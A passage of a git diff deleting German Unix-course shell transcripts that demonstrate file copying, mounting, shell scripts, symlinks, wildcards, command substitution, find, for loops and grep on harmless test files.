-usb/  usb0/ usb1/ usb2/ usb3/ usb4/ usb5/ usb6/ usb7/
-cassini/home/peter/bo/2021ss/bs/20210416> cp -pi ~/Www/Was\ läuft\ falsch\ in\ der\ gegenwärtigen\ Physik-99hVAu1k6G8.mp4 /media/usb3/
-cassini/home/peter/bo/2021ss/bs/20210416> mount | grep usb
-cassini/home/peter/bo/2021ss/bs/20210416> mount /media/usb3/
-cassini/home/peter/bo/2021ss/bs/20210416> ls -l /media/usb3/
-insgesamt 4
--rwxr-xr-x 1 peter peter 40 Dez  3 10:52  nm.txt
--rwxr-xr-x 1 peter peter  0 Apr 16 12:52 'Was läuft falsch in der gegenwärtigen Physik-99hVAu1k6G8.mp4'
-cassini/home/peter/bo/2021ss/bs/20210416> cp -pi ~/Www/Was\ läuft\ falsch\ in\ der\ gegenwärtigen\ Physik-99hVAu1k6G8.mp4 /media/usb3/
-cp: '/media/usb3/Was läuft falsch in der gegenwärtigen Physik-99hVAu1k6G8.mp4' überschreiben? y
-cassini/home/peter/bo/2021ss/bs/20210416> umount /media/usb3
-cassini/home/peter/bo/2021ss/bs/20210416> mount /media/usb3
-cassini/home/peter/bo/2021ss/bs/20210416> ls -l /media/usb3/                                   insgesamt 158284
--rwxr-xr-x 1 peter peter        40 Dez  3 10:52  nm.txt
--rwxr-xr-x 1 peter peter 162077261 Mai 20  2019 'Was läuft falsch in der gegenwärtigen Physik-99hVAu1k6G8.mp4'
-cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/shell-scripts-1.txt b/20210416/shell-scripts-1.txt
deleted file mode 100644
index b979d46e4f71249407571cfb7ab41266ace543cf..0000000000000000000000000000000000000000
--- a/20210416/shell-scripts-1.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416> cat cd..
-cd ..
-cassini/home/peter/bo/2021ss/bs/20210416> cd..
-cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/shell-scripts-2.txt b/20210416/shell-scripts-2.txt
deleted file mode 100644
index e936daff4c8aa6b6a7b92fea5e799934775a384e..0000000000000000000000000000000000000000
--- a/20210416/shell-scripts-2.txt
+++ /dev/null
@@ -1,8 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416> cat cd..
-pwd
-cd ..
-pwd
-cassini/home/peter/bo/2021ss/bs/20210416> cd..
-/home/peter/bo/2021ss/bs/20210416
-/home/peter/bo/2021ss/bs
-cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/shell-scripts-3.txt b/20210416/shell-scripts-3.txt
deleted file mode 100644
index 64dede0649d842d112ae1906ad37922195a1e7e2..0000000000000000000000000000000000000000
--- a/20210416/shell-scripts-3.txt
+++ /dev/null
@@ -1,8 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416> ls -l hello
--rw-r--r-- 1 peter peter 21 Apr 16 14:24 hello
-cassini/home/peter/bo/2021ss/bs/20210416> cat hello
-echo "Hello, world!"
-cassini/home/peter/bo/2021ss/bs/20210416> chmod 755 hello
-cassini/home/peter/bo/2021ss/bs/20210416> ./hello
-Hello, world!
-cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/shell-scripts-4.txt b/20210416/shell-scripts-4.txt
deleted file mode 100644
index 25ea052a0d5a80be46b4f74add0e124405818bd7..0000000000000000000000000000000000000000
--- a/20210416/shell-scripts-4.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416> cat hello
-#!/bin/bash
-
-echo "Hello, world!"
-cassini/home/peter/bo/2021ss/bs/20210416> ./hello
-Hello, world!
-cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/shell-scripts-5.txt b/20210416/shell-scripts-5.txt
deleted file mode 100644
index aa400eecbf5755993f45ce1dd6fd2ff2f7ea189a..0000000000000000000000000000000000000000
--- a/20210416/shell-scripts-5.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416> cat calculate
-#!/usr/bin/bc
-
-2 ^ 50 / 10 / 1000 / 1000 / 1000000
-cassini/home/peter/bo/2021ss/bs/20210416> ./calculate
-bc 1.07.1
-Copyright 1991-1994, 1997, 1998, 2000, 2004, 2006, 2008, 2012-2017 Free Software Foundation, Inc.
-This is free software with ABSOLUTELY NO WARRANTY.
-For details type `warranty'.
-112
-^C
-(interrupt) use quit to exit.
-quit
-cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/shell-scripts-6.txt b/20210416/shell-scripts-6.txt
deleted file mode 100644
index 21e310e492618b7214d4250c021ff09d0912f5c1..0000000000000000000000000000000000000000
--- a/20210416/shell-scripts-6.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416> cat calculate
-#!/usr/bin/bc -q
-
-2 ^ 50 / 10 / 1000 / 1000 / 1000000
-
-quit
-cassini/home/peter/bo/2021ss/bs/20210416> ./calculate
-112
-cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/symlinks-1.txt b/20210416/symlinks-1.txt
deleted file mode 100644
index 082d37fa47a06228a3255eeaa972542ac7451342..0000000000000000000000000000000000000000
--- a/20210416/symlinks-1.txt
+++ /dev/null
@@ -1,12 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt
--rw-r--r-- 1 peter peter  7 Apr 16 12:30 test-1.txt
--rw-r--r-- 1 peter peter  7 Apr 16 12:30 test-2.txt
-lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt
-cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt
-Test 1
-cassini/home/peter/bo/2021ss/bs/20210416> cat test-3.txt
-Test 1
-cassini/home/peter/bo/2021ss/bs/20210416> rm test-1.txt
-cassini/home/peter/bo/2021ss/bs/20210416> cat test-3.txt
-cat: test-3.txt: Datei oder Verzeichnis nicht gefunden
-cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/symlinks-2.txt b/20210416/symlinks-2.txt
deleted file mode 100644
index 242cce4d34d87cad7cc23266bfc2d0117cedab63..0000000000000000000000000000000000000000
--- a/20210416/symlinks-2.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt
--rw-r--r-- 1 peter peter  7 Apr 16 14:39 test-1.txt
--rw-r--r-- 1 peter peter  7 Apr 16 12:30 test-2.txt
-lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt
-cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt
-Test 3
-cassini/home/peter/bo/2021ss/bs/20210416> ln -s test-1.txt test-3.txt
diff --git a/20210416/symlinks-3.txt b/20210416/symlinks-3.txt
deleted file mode 100644
index ed65d60c82beacea126d25a2758bdaea38209808..0000000000000000000000000000000000000000
--- a/20210416/symlinks-3.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416> rm test-1.txt
-cassini/home/peter/bo/2021ss/bs/20210416> ln -s test-3.txt test-1.txt
-cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt
-lrwxrwxrwx 1 peter peter 10 Apr 16 14:42 test-1.txt -> test-3.txt
--rw-r--r-- 1 peter peter  7 Apr 16 12:30 test-2.txt
-lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt
-cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt
-cat: test-1.txt: Zu viele Ebenen aus symbolischen Links
-cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/symlinks-4.txt b/20210416/symlinks-4.txt
deleted file mode 100644
index 74f32b7209380d08764304ca550414aca15a07db..0000000000000000000000000000000000000000
--- a/20210416/symlinks-4.txt
+++ /dev/null
@@ -1,12 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt
-lrwxrwxrwx 1 peter peter 10 Apr 16 14:42 test-1.txt -> test-3.txt
--rw-r--r-- 1 peter peter  7 Apr 16 12:30 test-2.txt
-lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt
-cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt
-cat: test-1.txt: Zu viele Ebenen aus symbolischen Links
-cassini/home/peter/bo/2021ss/bs/20210416>
-cassini/home/peter/bo/2021ss/bs/20210416> rm test-1.txt
-cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt
--rw-r--r-- 1 peter peter  7 Apr 16 12:30 test-2.txt
-lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt
-cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/test-1.txt b/20210416/test-1.txt
deleted file mode 100644
index ac5ab8fbdb5f9b410cba904145f975593182dced..0000000000000000000000000000000000000000
--- a/20210416/test-1.txt
+++ /dev/null
@@ -1 +0,0 @@
-Test 1
diff --git a/20210416/test-3.txt b/20210416/test-3.txt
deleted file mode 120000
index e512c20fae491086c36ada7e2b276df83e32b1bd..0000000000000000000000000000000000000000
--- a/20210416/test-3.txt
+++ /dev/null
@@ -1 +0,0 @@
-test-1.txt
\ No newline at end of file
diff --git a/20210416/test/hello.txt b/20210416/test/hello.txt
deleted file mode 100644
index af5626b4a114abcb82d63db7c8082c3c4756e51b..0000000000000000000000000000000000000000
--- a/20210416/test/hello.txt
+++ /dev/null
@@ -1 +0,0 @@
-Hello, world!
diff --git a/20210416/unix-20210416.pdf b/20210416/unix-20210416.pdf
deleted file mode 120000
index 5088e123b7cf3a13f3e818d8be9c5b5c70f0b056..0000000000000000000000000000000000000000
--- a/20210416/unix-20210416.pdf
+++ /dev/null
@@ -1 +0,0 @@
-../20210409/unix-20210409.pdf
\ No newline at end of file
diff --git a/20210416/unix-20210416.tex b/20210416/unix-20210416.tex
deleted file mode 120000
index 8548cff5b6f4928e1bacf91d66f0f6d1ed4966da..0000000000000000000000000000000000000000
--- a/20210416/unix-20210416.tex
+++ /dev/null
@@ -1 +0,0 @@
-../20210409/unix-20210409.tex
\ No newline at end of file
diff --git a/20210416/wildcards-1.txt b/20210416/wildcards-1.txt
deleted file mode 100644
index 8061b6b72fc36090136db19921dee2154b9a350a..0000000000000000000000000000000000000000
--- a/20210416/wildcards-1.txt
+++ /dev/null
@@ -1,36 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416> echo "Test 1" > test-1.txt
-cassini/home/peter/bo/2021ss/bs/20210416> echo "Test 2" > test-2.txt
-cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt
-Test 1
-cassini/home/peter/bo/2021ss/bs/20210416> cat test-2.txt
-Test 2
-cassini/home/peter/bo/2021ss/bs/20210416> ls -l
-insgesamt 16
-lrwxrwxrwx 1 peter peter   27 Apr 16 10:27 bs-20210416.pdf -> ../20210409/bs-20210409.pdf
--rw-r--r-- 1 peter peter    0 Apr 16 11:53 cd..
--rw-r--r-- 1 peter peter   82 Apr 16 12:20 hello.c
-drwxr-xr-x 2 peter peter 4096 Apr 16 12:25 test
--rw-r--r-- 1 peter peter    7 Apr 16 12:26 test-1.txt
--rw-r--r-- 1 peter peter    7 Apr 16 12:26 test-2.txt
-lrwxrwxrwx 1 peter peter   29 Apr 16 10:19 unix-20210416.pdf -> ../20210409/unix-20210409.pdf
-lrwxrwxrwx 1 peter peter   29 Apr 16 12:06 unix-20210416.tex -> ../20210409/unix-20210409.tex
-cassini/home/peter/bo/2021ss/bs/20210416> cd test
-cassini/home/peter/bo/2021ss/bs/20210416/test> cp -p ../test*.txt
-cassini/home/peter/bo/2021ss/bs/20210416/test> ls -l
-insgesamt 0
-cassini/home/peter/bo/2021ss/bs/20210416/test> cd ..
-cassini/home/peter/bo/2021ss/bs/20210416> ls -l
-insgesamt 16
-lrwxrwxrwx 1 peter peter   27 Apr 16 10:27 bs-20210416.pdf -> ../20210409/bs-20210409.pdf
--rw-r--r-- 1 peter peter    0 Apr 16 11:53 cd..
--rw-r--r-- 1 peter peter   82 Apr 16 12:20 hello.c
-drwxr-xr-x 2 peter peter 4096 Apr 16 12:25 test
--rw-r--r-- 1 peter peter    7 Apr 16 12:26 test-1.txt
--rw-r--r-- 1 peter peter    7 Apr 16 12:26 test-2.txt
-lrwxrwxrwx 1 peter peter   29 Apr 16 10:19 unix-20210416.pdf -> ../20210409/unix-20210409.pdf
-lrwxrwxrwx 1 peter peter   29 Apr 16 12:06 unix-20210416.tex -> ../20210409/unix-20210409.tex
-cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt
-Test 1
-cassini/home/peter/bo/2021ss/bs/20210416> cat test-2.txt
-Test 1
-cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/wildcards-2.txt b/20210416/wildcards-2.txt
deleted file mode 100644
index fd44a83a02fa5e15b2f724db7d140033573849b7..0000000000000000000000000000000000000000
--- a/20210416/wildcards-2.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416/test> echo cp -p ../test*.txt
-cp -p ../test-1.txt ../test-2.txt
-cassini/home/peter/bo/2021ss/bs/20210416/test>
diff --git a/20210416/wildcards-3.txt b/20210416/wildcards-3.txt
deleted file mode 100644
index 7abffc8939b9354ca8079e8249a3e3fbb5a9d30e..0000000000000000000000000000000000000000
--- a/20210416/wildcards-3.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416> for x in 1 2 3; do echo "Test $x" > test-$x.txt; donecassini/home/peter/bo/2021ss/bs/20210416> ls -l test*.txt
--rw-r--r-- 1 peter peter 7 Apr 16 12:30 test-1.txt
--rw-r--r-- 1 peter peter 7 Apr 16 12:30 test-2.txt
--rw-r--r-- 1 peter peter 7 Apr 16 12:30 test-3.txt
-cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt
-Test 1
-cassini/home/peter/bo/2021ss/bs/20210416> cat test-2.txt
-Test 2
-cassini/home/peter/bo/2021ss/bs/20210416> cat test-3.txt
-Test 3
-cassini/home/peter/bo/2021ss/bs/20210416> cd test/
-cassini/home/peter/bo/2021ss/bs/20210416/test> cp -p ../test*.txt
-cp: das angegebene Ziel '../test-3.txt' ist kein Verzeichnis
-cassini/home/peter/bo/2021ss/bs/20210416/test>
diff --git a/20210423/echo-1.txt b/20210423/echo-1.txt
deleted file mode 100644
index e39b07beb181a870f7683da662d54ac3fd45bdc3..0000000000000000000000000000000000000000
--- a/20210423/echo-1.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> echo Test; ls
-Test
-test  test-2.c  unix-20210423.pdf  unix-20210423.tex  wildcards-1.txt  wildcards-2.txt
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/echo-2.txt b/20210423/echo-2.txt
deleted file mode 100644
index e20f9bccbce32e74e0dbb3f5caa87cf0874d5c6b..0000000000000000000000000000000000000000
--- a/20210423/echo-2.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> echo "Test; ls"
-Test; ls
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/exec-output-1.txt b/20210423/exec-output-1.txt
deleted file mode 100644
index 6bfef64301ada2552a032410405fc95828e9e8d2..0000000000000000000000000000000000000000
--- a/20210423/exec-output-1.txt
+++ /dev/null
@@ -1,12 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> echo ls
-ls
-cassini/home/peter/bo/2021ss/bs/20210423> $(echo ls)
-echo-1.txt  grep-2.txt                 iostreams-2.txt  permissions-1.txt  test.txt
-echo-2.txt  grep-3.txt                 iostreams-3.txt  pipes-1.txt        unix-20210423.pdf
-find-1.txt  grep-4.txt                 iostreams-4.txt  pipes-2.txt        unix-20210423.tex
-find-2.txt  grep-5.txt                 iostreams-5.txt  pipes-3.txt        vic
-find-3.txt  hello-error.txt            iostreams-6.txt  test               wildcards-1.txt
-find-4.txt  hello-files-and-error.txt  iostreams-7.txt  test-1.c           wildcards-2.txt
-find-5.txt  hello-files.txt            iostreams-8.txt  test-2.c           wildcards-3.txt
-grep-1.txt  iostreams-1.txt            iostreams-.txt2  test.bc            xkcd
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/exec-output-2.txt b/20210423/exec-output-2.txt
deleted file mode 100644
index 8da1d6318741453f610d9c55640af13948673dff..0000000000000000000000000000000000000000
--- a/20210423/exec-output-2.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> locate listings.pdf
-/home/peter/bo/doc/listings.pdf
-/usr/share/doc/texlive-doc/latex/checklistings/checklistings.pdf
-/usr/share/doc/texlive-doc/latex/iodhbwm/examples/listings/iodhbwm-listings.pdf
-/usr/share/doc/texlive-doc/latex/listings/listings.pdf
-/usr/share/doc/texlive-doc/latex/tagpdf/ex-spaceglyph-listings.pdf
-/usr/share/doc/texlive-doc/latex/xsim/examples/xsim.listings.pdf
-cassini/home/peter/bo/2021ss/bs/20210423> locate listings.pdf | head -1
-/home/peter/bo/doc/listings.pdf
-cassini/home/peter/bo/2021ss/bs/20210423> xpdf $(locate listings.pdf | head -1)
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/exec-output-3.txt b/20210423/exec-output-3.txt
deleted file mode 100644
index 3e8cf4e13e86960215f0b93c0cea0faa0390741c..0000000000000000000000000000000000000000
--- a/20210423/exec-output-3.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> file_template=$(ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1)
-cassini/home/peter/bo/2021ss/bs/20210423> echo $file_template
-params-3.sh
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/find-1.txt b/20210423/find-1.txt
deleted file mode 100644
index 51a80ae973e07b4283cb2ca38861b2dad13b930c..0000000000000000000000000000000000000000
--- a/20210423/find-1.txt
+++ /dev/null
@@ -1,15 +0,0 @@
-cassini/home/peter/bo/2021ss/bs> find -name "test*"
-./20210423/test-1.c
-./20210423/test-2.c
-./20210423/test
-./20210416/test-3.txt
-./20210416/test
-./20210416/test-1.txt
-cassini/home/peter/bo/2021ss/bs> find . -name "test*" -print
-./20210423/test-1.c
-./20210423/test-2.c
-./20210423/test
-./20210416/test-3.txt
-./20210416/test
-./20210416/test-1.txt
-cassini/home/peter/bo/2021ss/bs>
diff --git a/20210423/find-2.txt b/20210423/find-2.txt
deleted file mode 100644
index 2d9eaa12bc77f960e7f81e0777b947349d052148..0000000000000000000000000000000000000000
--- a/20210423/find-2.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-cassini/home/peter/bo/2021ss/bs> find . -name "test-[1-2].txt" -print
-./20210416/test-1.txt
-cassini/home/peter/bo/2021ss/bs> find . -name "test-[1-2].[ch]" -print
-./20210423/test-1.c
-./20210423/test-2.c
-cassini/home/peter/bo/2021ss/bs>
diff --git a/20210423/find-3.txt b/20210423/find-3.txt
deleted file mode 100644
index 0e1f55793dd6e353ecb653529b1d5918f87124a0..0000000000000000000000000000000000000000
--- a/20210423/find-3.txt
+++ /dev/null
@@ -1,17 +0,0 @@
-cassini/home/peter/bo/2021ss/bs> find . -name "test-[1-2].[ch]" -exec ls -l {} \;
--rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-1.c
--rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-2.c
-cassini/home/peter/bo/2021ss/bs> find . -name "test-[1-2].[ch]" -exec ls -l {} +
--rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-1.c
--rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-2.c
-cassini/home/peter/bo/2021ss/bs> find . -name "test-*" -exec ls -l {} \;
--rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-1.c
--rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-2.c
-lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 ./20210416/test-3.txt -> test-1.txt
--rw-r--r-- 1 peter peter 7 Apr 16 14:47 ./20210416/test-1.txt
-cassini/home/peter/bo/2021ss/bs> find . -name "test-*" -exec ls -l {} +
--rw-r--r-- 1 peter peter  7 Apr 16 14:47 ./20210416/test-1.txt
-lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 ./20210416/test-3.txt -> test-1.txt
--rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-1.c
--rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-2.c
-cassini/home/peter/bo/2021ss/bs>
diff --git a/20210423/find-4.txt b/20210423/find-4.txt
deleted file mode 100644
index 07def8f1d358691756227aa407c8708828b623f4..0000000000000000000000000000000000000000
--- a/20210423/find-4.txt
+++ /dev/null
@@ -1,38 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> find . -type f
-./test-1.c
-./wildcards-1.txt
-./test-2.c
-./echo-2.txt
-./.test.txt
-./wildcards-2.txt
-./permissions-1.txt
-./echo-1.txt
-cassini/home/peter/bo/2021ss/bs/20210423> find . -type d
-.
-./test
-cassini/home/peter/bo/2021ss/bs/20210423> find .. -type d
-..
-../common
-../20210423
-../20210423/test
-../20210416
-../20210416/test
-../ausarbeitungen
-../ausarbeitungen/maas
-../20210409
-cassini/home/peter/bo/2021ss/bs/20210423> find .. -type l
-../20210423/unix-20210423.pdf
-../20210423/unix-20210423.tex
-../20210416/test-3.txt
-../20210416/unix-20210416.tex
-../20210416/bs-20210416.tex
-../20210416/bs-20210416.pdf
-../20210416/unix-20210416.pdf
-../20210409/logo-hochschule-bochum-cvh-text.pdf
-../20210409/pgslides.sty
-../20210409/Operating_system_placement-de.pdf
-../20210409/logo-hochschule-bochum.pdf
-../20210409/pathfinder.jpg
-../20210409/philosophenproblem.jpg
-../.git
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/find-5.txt b/20210423/find-5.txt
deleted file mode 100644
index 8baf885795b845da6f19f3cacd5aae66c5f14172..0000000000000000000000000000000000000000
--- a/20210423/find-5.txt
+++ /dev/null
@@ -1,22 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> find .. -name "find-*.txt"
-../20210423/find-1.txt
-../20210416/find-1.txt
-../20210416/find-4.txt
-../20210416/find-2.txt
-../20210416/find-3.txt
-../find-1.txt
-../find-2.txt
-../find-3.txt
-cassini/home/peter/bo/2021ss/bs/20210423> cd ..
-cassini/home/peter/bo/2021ss/bs> t
-insgesamt 36
-drwxr-xr-x 3 peter peter 4096 Apr  9 15:18 ausarbeitungen
-drwxr-xr-x 2 peter peter 4096 Apr 16 10:26 20210409
--rw-r--r-- 1 peter peter 1329 Apr 16 11:50 projekte.txt
-drwxr-xr-x 2 peter peter 4096 Apr 16 14:45 common
-drwxr-xr-x 3 peter peter 4096 Apr 23 11:06 20210416
--rw-r--r-- 1 peter peter  378 Apr 23 12:00 find-1.txt
--rw-r--r-- 1 peter peter  236 Apr 23 12:01 find-2.txt
--rw-r--r-- 1 peter peter 1108 Apr 23 12:04 find-3.txt
-drwxr-xr-x 3 peter peter 4096 Apr 23 12:13 20210423
-cassini/home/peter/bo/2021ss/bs>
diff --git a/20210423/for-1.txt b/20210423/for-1.txt
deleted file mode 100644
index f6e41af6c90d4bf75e250fc75dd4d0a69079de1a..0000000000000000000000000000000000000000
--- a/20210423/for-1.txt
+++ /dev/null
@@ -1,21 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> for x in wichtig Wichtig WICHTIG; do touch $x; done
-cassini/home/peter/bo/2021ss/bs/20210423> for x in wichtig Wichtig WICHTIG; do rm $x; done
-cassini/home/peter/bo/2021ss/bs/20210423> seq 7
-1
-2
-3
-4
-5
-6
-7
-cassini/home/peter/bo/2021ss/bs/20210423> for x in $(seq 7); do touch wichtig-$x.txt; done
-cassini/home/peter/bo/2021ss/bs/20210423> ls -l wichtig*
--rw-r--r-- 1 peter peter 0 Apr 23 14:45 wichtig-1.txt
--rw-r--r-- 1 peter peter 0 Apr 23 14:45 wichtig-2.txt
--rw-r--r-- 1 peter peter 0 Apr 23 14:45 wichtig-3.txt
--rw-r--r-- 1 peter peter 0 Apr 23 14:45 wichtig-4.txt
--rw-r--r-- 1 peter peter 0 Apr 23 14:45 wichtig-5.txt
--rw-r--r-- 1 peter peter 0 Apr 23 14:45 wichtig-6.txt
--rw-r--r-- 1 peter peter 0 Apr 23 14:45 wichtig-7.txt
-cassini/home/peter/bo/2021ss/bs/20210423> for x in $(seq 7); do rm wichtig-$x.txt; done
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/for-2.txt b/20210423/for-2.txt
deleted file mode 100644
index fae0292bc4037a527da95d445713b5d6aa4cac3d..0000000000000000000000000000000000000000
--- a/20210423/for-2.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> for x in $(seq 7); do touch wichtig-$x.txt; done
-cassini/home/peter/bo/2021ss/bs/20210423> ls -l wichtig*
--rw-r--r-- 1 peter peter 0 Apr 23 14:46 wichtig-1.txt
--rw-r--r-- 1 peter peter 0 Apr 23 14:46 wichtig-2.txt
--rw-r--r-- 1 peter peter 0 Apr 23 14:46 wichtig-3.txt
--rw-r--r-- 1 peter peter 0 Apr 23 14:46 wichtig-4.txt
--rw-r--r-- 1 peter peter 0 Apr 23 14:46 wichtig-5.txt
--rw-r--r-- 1 peter peter 0 Apr 23 14:46 wichtig-6.txt
--rw-r--r-- 1 peter peter 0 Apr 23 14:46 wichtig-7.txt
-cassini/home/peter/bo/2021ss/bs/20210423> for x in wichtig-*.txt; do mv -i "$x" "un$x"; done   cassini/home/peter/bo/2021ss/bs/20210423> ls -l *wichtig*
--rw-r--r-- 1 peter peter 0 Apr 23 14:46 unwichtig-1.txt
--rw-r--r-- 1 peter peter 0 Apr 23 14:46 unwichtig-2.txt
--rw-r--r-- 1 peter peter 0 Apr 23 14:46 unwichtig-3.txt
--rw-r--r-- 1 peter peter 0 Apr 23 14:46 unwichtig-4.txt
--rw-r--r-- 1 peter peter 0 Apr 23 14:46 unwichtig-5.txt
--rw-r--r-- 1 peter peter 0 Apr 23 14:46 unwichtig-6.txt
--rw-r--r-- 1 peter peter 0 Apr 23 14:46 unwichtig-7.txt
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/grep-1.txt b/20210423/grep-1.txt
deleted file mode 100644
index c4c92d1f6c8daebb56b21875765792fd91adf251..0000000000000000000000000000000000000000
--- a/20210423/grep-1.txt
+++ /dev/null
@@ -1,22 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> grep Hello *
-grep: test: Ist ein Verzeichnis
-test-1.c:  printf ("Hello, world!\n");
-test-2.c:  printf ("Hello, world!\n");
-unix-20210423.tex:        printf ("Hello, world!\n");
-unix-20210423.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
-cassini/home/peter/bo/2021ss/bs/20210423> grep "H[ae]llo" *
-grep: test: Ist ein Verzeichnis
-test-1.c:  printf ("Hello, world!\n");
-test-2.c:  printf ("Hello, world!\n");
-unix-20210423.tex:        printf ("Hello, world!\n");
-unix-20210423.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
-cassini/home/peter/bo/2021ss/bs/20210423> grep "[Hh][a-z]llo" *
-grep: test: Ist ein Verzeichnis
-test-1.c:  printf ("Hello, world!\n");
-test-2.c:  printf ("Hello, world!\n");
-unix-20210423.tex:        printf ("Hello, world!\n");
-unix-20210423.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
-unix-20210423.tex:      Programm im aktuellen Verzeichnis aufrufen: \lstinline[style=cmd]{./hello}
-unix-20210423.tex:      Datei ausgeben: \lstinline[style=cmd]{cat hello.c}
-unix-20210423.tex:      Datei anzeigen: \lstinline[style=cmd]{less hello.c}
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/grep-2.txt b/20210423/grep-2.txt
deleted file mode 100644
index 2a80ca2380598ac462abf0d8da3b4271d51b50b8..0000000000000000000000000000000000000000
--- a/20210423/grep-2.txt
+++ /dev/null
@@ -1,26 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> grep -i "H[ae]llo" *
-grep-1.txt:cassini/home/peter/bo/2021ss/bs/20210423> grep Hello *
-grep-1.txt:test-1.c:  printf ("Hello, world!\n");
-grep-1.txt:test-2.c:  printf ("Hello, world!\n");
-grep-1.txt:unix-20210423.tex:        printf ("Hello, world!\n");
-grep-1.txt:unix-20210423.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
-grep-1.txt:test-1.c:  printf ("Hello, world!\n");
-grep-1.txt:test-2.c:  printf ("Hello, world!\n");
-grep-1.txt:unix-20210423.tex:        printf ("Hello, world!\n");
-grep-1.txt:unix-20210423.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
-grep-1.txt:test-1.c:  printf ("Hello, world!\n");
-grep-1.txt:test-2.c:  printf ("Hello, world!\n");
-grep-1.txt:unix-20210423.tex:        printf ("Hello, world!\n");
-grep-1.txt:unix-20210423.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
-grep-1.txt:unix-20210423.tex:      Programm im aktuellen Verzeichnis aufrufen: \lstinline[style=cmd]{./hello}
-grep-1.txt:unix-20210423.tex:      Datei ausgeben: \lstinline[style=cmd]{cat hello.c}
-grep-1.txt:unix-20210423.tex:      Datei anzeigen: \lstinline[style=cmd]{less hello.c}
-grep: test: Ist ein Verzeichnis
